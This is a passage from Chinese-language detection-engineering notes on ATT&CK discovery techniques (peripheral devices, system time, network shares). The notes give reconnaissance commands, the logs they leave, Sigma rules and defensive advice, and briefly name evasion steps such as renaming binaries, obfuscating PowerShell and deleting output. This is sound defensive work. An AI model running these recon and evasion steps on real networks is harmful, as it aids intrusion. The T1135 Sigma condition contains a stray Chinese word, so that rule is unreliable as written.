Microsoft ACPI 兼容的嵌入式控制器\nACPI\\PNP0C0A\\0                                                                                Microsoft ACPI 兼容的控制方法电池\nSWD\\PRINTENUM\\PRINTQUEUES                                                                     根打印队列\nUSB\\ROOT_HUB20\\4&1387C2E6&0                                                                   USB Root Hub\nROOT\\VOLMGR\\0000                                                                              卷管理器\n```\n**说明**：\n- 枚举所有即插即用设备，包括 USB 设备、鼠标等。\n- 普通用户权限。\n- 关联 T1120：获取设备详细信息。\n\n### 测试案例 5：使用 `devmgmt.msc`\n**关联技术**：T1120（设备管理器枚举）\n```dos\ndevmgmt.msc\n```\n**输出示例**：\n- 打开设备管理器，显示设备列表，如：\n  - 磁盘驱动器：Samsung SSD 850, SanDisk Ultra USB 3.0\n  - 人机接口设备：Logitech USB Mouse\n  - 打印机：Microsoft Print to PDF\n**说明**：\n- 通过设备管理器查看连接的设备。\n- 普通用户权限（查看功能）。\n- 关联 T1120：手动检查外围设备。\n\n**注意**：\n- 上述命令通常无需管理员权限。\n- 输出结果可能因系统配置和连接设备而异。\n- 攻击者可能将输出重定向到文件（如 `fsutil fsinfo drivetype C: > drives.txt`）。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限，CMD 或 PowerShell\n- 工具：CMD、PowerShell、WMIC\n\n### 复现步骤\n1. **使用 `fsutil fsinfo drivetype`**：\n   ```dos\n   fsutil fsinfo drivetype C: > C:\\Temp\\drivetype.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\drivetype.txt`，包含 `C: - 固定驱动器`。\n   - 安全日志事件 ID 4688 记录 `fsutil.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n2. **使用 PowerShell `Get-PnpDevice`**：\n   ```powershell\n   Get-PnpDevice -PresentOnly | Select-Object Name,Class,Status | Out-File C:\\Temp\\devices.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\devices.txt`，包含当前连接设备列表。\n   - PowerShell 日志事件 ID 4104 记录 `Get-PnpDevice` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行，事件 ID 11 记录文件创建。\n\n3. **使用 WMIC**：\n   ```dos\n   wmic path Win32_PnPEntity get Name,DeviceID > C:\\Temp\\pnp_devices.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\pnp_devices.txt`，包含即插即用设备信息。\n   - 安全日志事件 ID 4688 记录 `wmic.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n### 验证\n- 检查输出文件内容，确认包含设备或驱动器信息。\n- 验证日志：\n  - 安全日志：事件 ID 4688（进程创建）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `fsutil.exe`、`cmd.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `fsutil fsinfo`、`Get-PnpDevice`）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `drives.txt`）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-PnpDevice` 或 `Get-Disk`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）和文件创建（事件 ID 11）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需启用命令行审计以记录进程命令行参数。\n  - 日志输出可能因系统配置（如审计策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`fsutil.exe`、`cmd.exe`、`powershell.exe`、`wmic.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `fsutil fsinfo drivetype`、`Get-PnpDevice`、`wmic path Win32_PnPEntity`。\n- **文件相关**：\n  - 输出文件：如 `C:\\Temp\\drivetype.txt`（`fsutil fsinfo drivetype > drivetype.txt`）。\n- **隐藏手段**：\n  - 重命名 `fsutil.exe`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 删除输出文件（如 `del drivetype.txt`）。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yaml\ntitle: Windows周边设备发现\ndescription: 检测通过fsutil、PowerShell或WMIC执行Windows周边设备发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1120/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1120/T1120.md\ntags:\n  - attack.discovery\n  - attack.t1120\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\fsutil.exe'\n      - '\\wmic.exe'\n    ProcessCommandLine|contains:\n      - 'fsinfo drivetype'\n      - 'Win32_PnPEntity'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-PnpDevice'\n      - 'Get-Disk'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\fsutil.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n    CommandLine|contains:\n      - 'fsinfo drivetype'\n      - 'Get-PnpDevice'\n      - 'Get-Disk'\n      - 'Win32_PnPEntity'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n    TargetFilename|contains:\n      - 'drivetype'\n      - 'devices'\n      - 'pnp'\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\nlevel: medium\nfalsepositives:\n  - 管理员运行fsutil或PowerShell进行设备诊断\n  - 合法IT管理工具触发类似行为\n```\n\n### 检测思路\n1. **进程监控**：\n   - 监控 `fsutil.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `fsinfo drivetype`、`Get-PnpDevice`、`Get-Disk` 或 `Win32_PnPEntity` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-PnpDevice` 或 `Get-Disk` 的执行。\n3. **文件监控**：\n   - 检测文本文件创建（事件 ID 11），特别是文件名包含 `drivetype`、`devices` 或 `pnp` 的文件。\n4. **行为分析**：\n   - 检测短时间内高频的设备查询（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n   - 监控 Windows API 调用（如 `SetupDiGetClassDevs`）的异常使用。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `fsutil.exe` 和 `wmic.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-PnpDevice`）。\n   - 部署 EDR 工具，监控异常设备枚举行为。\n   - 配置 USB 设备限制策略，防止未经授权的可移动存储使用。\n2. **检测优化**：\n   - 监控短时间内高频的设备查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `drivetype.txt`、`devices.txt`）。\n   - 监控 Windows API 调用（如 `SetupDiGetClassDevs`）的异常使用。\n3. **降低误报**：\n   - 排除管理员用于诊断的合法 `fsutil` 或 PowerShell 操作。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与周边设备发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 Sysinternals 的 `devcon`）或直接调用 Windows API，建议监控未知可执行文件的运行。\n   - 检测异常 WMI 查询（如 `Win32_PnPEntity`）或设备管理器调用。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1120  \n  <https://attack.mitre.org/techniques/T1120/>\n- Atomic Red Team - T1120 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1120/T1120.md>\n- fsutil fsinfo 命令详解  \n  <https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/fsutil-fsinfo>"
  },
  {
    "path": "Windows/09发现/T1124-win-系统时间发现.md",
    "content": "# T1124-Win-系统时间发现\n\n## 描述\n\n攻击者通过系统时间发现（T1124）收集 Windows 系统或远程主机的系统时间和时区信息，以了解目标环境的时间同步状态或推断地理位置。这些信息可用于协调攻击行为，例如设置定时计划任务（T1053）、规避基于时间的访问限制、同步恶意软件执行，或推断受害者所在时区以优化钓鱼攻击。攻击者可能通过 `net time` 查询域内或远程系统时间，使用 `w32tm /tz` 获取时区信息，或通过 PowerShell 命令（如 `Get-Date`、`Get-TimeZone`）、WMIC（`wmic os get localdatetime`）或 `systeminfo` 收集本地时间和时区。本文档聚焦于 Windows 平台下系统时间发现的检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限（大多数命令无需管理员权限）\n- 工具：CMD、PowerShell、WMIC\n\n### 测试案例 1：使用 `net time`\n**关联技术**：T1124（远程系统时间收集）\n```dos\nnet time \\\\DC01\n```\n**输出示例**：\n```\n\\\\DC01 的当前时间是 2025/05/26 02:46:00\n命令成功完成。\n```\n**说明**：\n- 查询远程主机（如域控制器）的当前时间。\n- 普通用户权限，需网络访问权限。\n- 关联 T1124：收集远程系统时间。\n\n### 测试案例 2：使用 `net time /domain`\n**关联技术**：T1124（域时间收集）\n```dos\nnet time /domain\n```\n**输出示例**：\n```\n域 QAX.COM 的当前时间是 2025/05/26 02:46:00\n域服务器: \\\\DC01\n命令成功完成。\n```\n**说明**：\n- 查询域内时间及域服务器名称。\n- 普通用户权限，需域环境。\n- 关联 T1124：收集域时间信息。\n\n### 测试案例 3：使用 `w32tm /tz`\n**关联技术**：T1124（时区收集）\n```dos\nw32tm /tz\n```\n**输出示例**：\n```\n时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias)\n  [标准名称:\"俄罗斯 TZ 7 标准时间\" 偏量:0分 日期:(未指定)]\n  [夏时制名称:\"俄罗斯 TZ 7 夏令时\" 偏量:-60分 日期:(未指定)]\n```\n**说明**：\n- 查询本地系统的时区设置。\n- 普通用户权限。\n- 关联 T1124：推断时区信息。\n\n### 测试案例 4：使用 PowerShell `Get-Date`\n**关联技术**：T1124（本地时间收集）\n```powershell\nGet-Date\n```\n**输出示例**：\n```\n2025年5月26日 02:46:00\n```\n**说明**：\n- 获取本地系统的当前时间。\n- 普通用户权限。\n- 关联 T1124：收集本地时间。\n\n### 测试案例 5：使用 PowerShell `Get-TimeZone`\n**关联技术**：T1124（时区收集）\n```powershell\nGet-TimeZone\n```\n**输出示例**：\n```\nId                         : North Asia East Standard Time\nDisplayName                : (UTC+08:00) 伊尔库茨克\nStandardName               : 俄罗斯 TZ 7 标准时间\nDaylightName               : 俄罗斯 TZ 7 夏令时\nBaseUtcOffset              : 08:00:00\nSupportsDaylightSavingTime : True\n```\n**说明**：\n- 获取本地系统的时区详细信息。\n- 普通用户权限。\n- 关联 T1124：推断时区信息。\n\n### 测试案例 6：使用 WMIC\n**关联技术**：T1124（本地时间收集）\n```dos\nwmic os get localdatetime\n```\n**输出示例**：\n```\nLocalDateTime\n20250526175248.649000+480\n```\n**说明**：\n- 获取本地系统的当前时间（格式为 YYYYMMDDHHMMSS）。\n- 普通用户权限。\n- 关联 T1124：收集本地时间。\n\n### 测试案例 7：使用 `systeminfo`\n**关联技术**：T1124（时间和时区收集）\n```dos\nsysteminfo | findstr /C:\"系统启动时间\" /C:\"时区\"\n```\n**输出示例**：\n```\n系统启动时间:           2025/05/25, 08:00:00\n时区:                    (UTC+08:00) 北京, 重庆, 香港, 乌鲁木齐\n```\n**说明**：\n- 获取系统启动时间和时区信息。\n- 普通用户权限。\n- 关联 T1124：收集时间和时区。\n\n**注意**：\n- 上述命令通常无需管理员权限。\n- 输出结果可能因系统配置（如时区、域环境）而异。\n- 攻击者可能将输出重定向到文件（如 `net time > time.txt`）。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限，CMD 或 PowerShell\n- 工具：CMD、PowerShell、WMIC\n\n### 复现步骤\n1. **使用 `net time`**：\n   ```dos\n   net time \\\\DC01 > C:\\Temp\\remote_time.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\remote_time.txt`，包含 `\\\\DC01 的当前时间是 2025/05/26 02:46:00`。\n   - 安全日志事件 ID 4688 记录 `net.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n2. **使用 `w32tm /tz`**：\n   ```dos\n   w32tm /tz > C:\\Temp\\timezone.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\timezone.txt`，包含时区信息。\n   - 安全日志事件 ID 4688 记录 `w32tm.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n3. **使用 PowerShell `Get-TimeZone`**：\n   ```powershell\n   Get-TimeZone | Out-File C:\\Temp\\ps_timezone.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\ps_timezone.txt`，包含时区详细信息。\n   - PowerShell 日志事件 ID 4104 记录 `Get-TimeZone` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行，事件 ID 11 记录文件创建。\n\n### 验证\n- 检查输出文件内容，确认包含时间或时区信息。\n- 验证日志：\n  - 安全日志：事件 ID 4688（进程创建）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `net.exe`、`w32tm.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `net time`、`w32tm /tz`、`Get-Date`）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `time.txt`）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-Date` 或 `Get-TimeZone`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）和文件创建（事件 ID 11）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需启用命令行审计以记录进程命令行参数。\n  - 日志输出可能因系统配置（如审计策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`net.exe`、`w32tm.exe`、`powershell.exe`、`wmic.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `net time`、`w32tm /tz`、`Get-Date`、`wmic os get localdatetime`。\n- **文件相关**：\n  - 输出文件：如 `C:\\Temp\\remote_time.txt`（`net time > remote_time.txt`）。\n- **隐藏手段**：\n  - 重命名 `net.exe`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 删除输出文件（如 `del remote_time.txt`）。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yaml\ntitle: Windows 系统时间发现\ndescription: 检测通过 net time、w32tm、PowerShell 或 WMIC 执行 Windows 系统时间发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1124/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1124/T1124.md\ntags:\n  - attack.discovery\n  - attack.t1124\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\net.exe'\n      - '\\w32tm.exe'\n      - '\\wmic.exe'\n    ProcessCommandLine|contains:\n      - 'time'\n      - '/tz'\n      - 'localdatetime'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-Date'\n      - 'Get-TimeZone'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\net.exe'\n      - '\\w32tm.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n      - '\\systeminfo.exe'\n    CommandLine|contains:\n      - 'time'\n      - '/tz'\n      - 'Get-Date'\n      - 'Get-TimeZone'\n      - 'localdatetime'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n    TargetFilename|contains:\n      - 'time'\n      - 'timezone'\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\nlevel: medium\nfalsepositives:\n  - 管理员运行 net time 或 PowerShell 进行时间同步检查\n  - 合法 IT 管理工具触发类似行为\n```\n\n### 检测思路\n1. **进程监控**：\n   - 监控 `net.exe`、`w32tm.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `time`、`/tz`、`Get-Date`、`Get-TimeZone` 或 `localdatetime` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-Date` 或 `Get-TimeZone` 的执行。\n3. **文件监控**：\n   - 检测文本文件创建（事件 ID 11），特别是文件名包含 `time` 或 `timezone` 的文件。\n4. **行为分析**：\n   - 检测短时间内高频的时间查询（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n   - 监控异常 WMI 查询或时间同步请求。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `net.exe` 和 `w32tm.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-Date`）。\n   - 部署 EDR 工具，监控异常时间查询行为。\n   - 配置时间同步策略，确保域内时间一致，减少 `net time` 使用。\n2. **检测优化**：\n   - 监控短时间内高频的时间查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `remote_time.txt`、`timezone.txt`）。\n   - 监控异常 WMI 查询（如 `localdatetime`）或时间同步请求。\n3. **降低误报**：\n   - 排除管理员用于时间同步的合法 `net time` 或 PowerShell 操作。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与系统时间发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如自定义脚本）或直接调用 Windows API，建议监控未知可执行文件的运行。\n   - 检测异常时间同步行为或高频时间查询。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1124  \n  <https://attack.mitre.org/techniques/T1124/>\n- Atomic Red Team - T1124 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1124/T1124.md>\n"
  },
  {
    "path": "Windows/09发现/T1135-win-网络共享发现.md",
    "content": "# T1135-Win-网络共享发现\n\n## 描述\n\n攻击者通过网络共享发现（T1135）枚举 Windows 环境中的网络共享驱动器和文件夹，以识别可访问的文件存储位置，获取敏感信息（如配置文件、凭据、财务数据）或寻找横向移动的目标。Windows 系统中，网络共享通过 SMB 协议实现，攻击者可能使用 `net view` 查询远程主机共享资源，`net share` 查看本地共享，或通过 PowerShell（如 `Get-SmbShare`）、WMIC（`wmic share`）等工具枚举共享信息。这些信息可用于后续攻击，如数据窃取（T1080）、权限提升（T1078）或通过共享执行恶意软件。在云环境中（如 AWS、GCP、Azure），攻击者可能访问云配置的 SMB 或 NFS 共享。本文档聚焦于 Windows 平台的网络共享发现检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限（大多数命令无需管理员权限）\n- 工具：CMD、PowerShell、WMIC\n- 环境：域环境（如 OWA2010SP3.0day.org）\n\n### 测试案例 1：使用 `net view` 查询远程共享\n**关联技术**：T1135（远程共享枚举）\n```dos\nnet view \\\\DC01\n```\n**输出示例**：\n```\n在 \\\\OWA2010SP3.0day.org 的共享资源\n\n共享名        类型  使用为  注释\n\n-------------------------------------------------------------------------------\nAddress       Disk          \"Access to address objects\"\nCertEnroll    Disk          Active Directory 证书服务共享\nExchangeOAB   Disk          OAB Distribution share\nGroupMetrics  Disk          邮件提示组度量标准发布点\nNETLOGON      Disk          Logon server share\nSYSVOL        Disk          Logon server share\n命令成功完成。\n```\n**说明**：\n- 查询远程主机（如域控制器）的共享资源。\n- 普通用户权限，需网络访问权限。\n- 关联 T1135：识别远程共享驱动器。\n\n### 测试案例 2：使用 `net view` 查询域内所有主机\n**关联技术**：T1135（域主机枚举）\n```dos\nnet view /domain\n```\n**输出示例**：\n```\n域 OWA2010SP3.0day.org 的服务器列表：\n\n服务器名            备注\n-------------------  ----------------\n\\\\DC01              Domain Controller\n\\\\FILESRV01         File Server\n\\\\WORKSTATION01\n命令成功完成。\n```\n**说明**：\n- 列出域内所有主机，结合 `net view \\\\<host>` 可进一步枚举共享。\n- 普通用户权限，需域环境。\n- 关联 T1135：发现潜在共享主机。\n\n### 测试案例 3：使用 `net share` 查询本地共享\n**关联技术**：T1135（本地共享枚举）\n```dos\nnet share\n```\n**输出示例**：\n```\n共享名       资源                           备注\n----------   ----------------------------   ----------------\nC$           C:\\                            默认共享\nIPC$                                        远程 IPC\nADMIN$       C:\\Windows                     远程管理\nPublic       C:\\Users\\Public\n命令成功完成。\n```\n**说明**：\n- 列出本地系统的共享资源。\n- 普通用户权限（查看功能）。\n- 关联 T1135：识别本地共享。\n\n### 测试案例 4：使用 PowerShell `Get-SmbShare`\n**关联技术**：T1135（共享枚举）\n```powershell\nGet-SmbShare\n```\n**输出示例**：\n```\nName       ScopeName Path                          Description\n----       --------- ----                          -----------\nC$         *         C:\\                          默认共享\nIPC$       *                                       远程 IPC\nADMIN$     *         C:\\Windows                    远程管理\nPublic     *         C:\\Users\\Public\n```\n**说明**：\n- 枚举本地或远程 SMB 共享。\n- 普通用户权限（本地查看）。\n- 关联 T1135：获取共享详细信息。\n\n### 测试案例 5：使用 WMIC\n**关联技术**：T1135（共享枚举）\n```dos\nwmic share get Name,Path,Description\n```\n**输出示例**：\n```\nDescription           Name       Path\n默认共享              C$         C:\\\n远程 IPC              IPC$\n远程管理              ADMIN$     C:\\Windows\n                      Public     C:\\Users\\Public\n```\n**说明**：\n- 枚举本地共享的名称、路径和描述。\n- 普通用户权限。\n- 关联 T1135：收集共享信息。\n\n**注意**：\n- 上述命令通常无需管理员权限。\n- 输出结果可能因系统配置（如共享设置、域环境）而异。\n- 攻击者可能将输出重定向到文件（如 `net view > shares.txt`）。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限，CMD 或 PowerShell\n- 工具：CMD、PowerShell、WMIC\n- 环境：域环境（如 QAX.COM）\n\n### 复现步骤\n1. **使用 `net view` 查询远程共享**：\n   ```dos\n   net view \\\\DC01 > C:\\Temp\\remote_shares.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\remote_shares.txt`，包含远程共享列表。\n   - 安全日志事件 ID 4688 记录 `net.exe` 执行，5156 记录 SMB 连接。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建，事件 ID 3 记录网络连接。\n\n2. **使用 `net share` 查询本地共享**：\n   ```dos\n   net share > C:\\Temp\\local_shares.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\local_shares.txt`，包含本地共享列表。\n   - 安全日志事件 ID 4688 记录 `net.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n3. **使用 PowerShell `Get-SmbShare`**：\n   ```powershell\n   Get-SmbShare | Out-File C:\\Temp\\smb_shares.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\smb_shares.txt`，包含 SMB 共享列表。\n   - PowerShell 日志事件 ID 4104 记录 `Get-SmbShare` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行，事件 ID 11 记录文件创建。\n\n### 验证\n- 检查输出文件内容，确认是否包含共享资源信息。\n- **验证日志**：\n  - 安全日志：事件 ID 4688（进程创建）、5156（网络连接）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）、3（网络连接）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `net.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n  - 事件 ID 5156：Windows 筛选平台允许连接，记录 SMB 连接（端口 445）。\n  - 事件 ID 5158：Windows 筛选平台允许绑定本地端口，用于记录 SMB 相关端口。\n- **Sysmon 日志：\n  - 事件 1：进程创建，记录命令行参数（如 `net view`、`Get-SmbShare`）。\n  - 事件 11：文件创建，记录输出文件（如 `shares.txt`）。\n  - 事件 ID 3：网络连接，记录 SMB 连接（端口 445）。\n- **PowerShell 日志**：\n  - 事件 4103/4104：记录 PowerShell 脚本执行，如 `Get-SmbShare`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 启用 `Audit Network Connections` （安全日志，事件 ID 5156、5158）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）、文件创建（事件 ID 11）以及网络连接（事件 ID 3）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需启用命令行审计以记录进程命令行参数。\n  - 日志输出可能因系统配置（如审计策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`net.exe`、`powershell.exe`、`wmic.exe`。\n- 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `net view`、`net share`、`Get-SmbShare`、`wmic share`。\n- **文件相关**：\n  - 输出文件：如 `C:\\Temp\\remote_shares.txt` （`net view > shares.txt`）。\n- **网络相关**：\n  - SMB 连接：目标端口 445，协议 TCP。\n  - 源/目标 IP：发起查询主机和目标主机的 IP 地址。\n- **隐藏手段**：\n  - 重命名 `net.exe`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（例如 `Invoke-Obfuscation`）。\n    - 删除输出文件（如 `del remote_shares.txt`）。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/方法\n\n### Sigma 规则\n\n```yaml\ntitle: Windows 网络共享发现\ndescription: 检测通过net view、net share、PowerShell 或 WMIC 执行的 Windows网络共享发现行为\nreferences:\n  - https://attack.mitre.org/techniques/T1135/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1135/T1135.md\ntags:\n  - attack.discovery\n  - attack.t1135\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\net.exe'\n      - '\\wmic.exe'\n    ProcessCommandLine|contains:\n      - 'view'\n      - 'share'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-SmbShare'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\net.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n    CommandLine|contains:\n      - 'view'\n      - 'share'\n      - 'Get-SmbShare'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n    TargetFilename|contains:\n      - 'share'\n      - 'smb'\n  selection_network:\n    EventID: 5156 # 网络连接\n    DestinationPort: 445\n    Protocol: 6 # TCP\n  condition: selection_cmd 或 selection_powershell or selection_sysmon or selection_file or selection_network\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - DestinationPort\nlevel: medium\nfalsepositives:\n  - 管理员运行 net view 或 PowerShell 进行共享管理\n  - 合法IT管理工具触发类似行为\n```\n\n### **检测方法**\n1. **进程监控**：\n   - 监控 `net.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `view`、`share` 或 `Get-SmbShare` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-SmbShare` 的执行。\n3. **文件监控**：\n   - 检测文本文件创建（事件 ID 11），特别是文件名包含 `share` 或 `smb` 的文件。\n4. **网络监控**：\n   - 监控 SMB 连接（事件 ID 5156，端口 445），关注异常连接模式。\n5. **行为分析**：\n   - 检测短时间内高频的共享查询（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n   - 在云环境中，监控对共享存储的异常 API 调用。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `net.exe` 和 `wmic.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-SmbShare`）。\n   - 部署 EDR 工具，监控异常共享枚举行为。\n   - 配置 SMB 访问控制，限制非授权用户访问共享。\n   - 禁用不必要的默认共享（如 C$、ADMIN$）。\n2. **检测优化**：\n   - 监控短时间内高频的共享查询（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `remote_shares.txt`、`smb_shares.txt`）。\n   - 监控 SMB 流量（端口 445），关注异常连接模式。\n   - 在云环境中，监控对 EFS、Azure 文件共享或 GCP 文件存储的异常访问。\n3. **降低误报**：\n   - 排除管理员用于共享管理的合法 `net view` 或 PowerShell 操作。\n   - 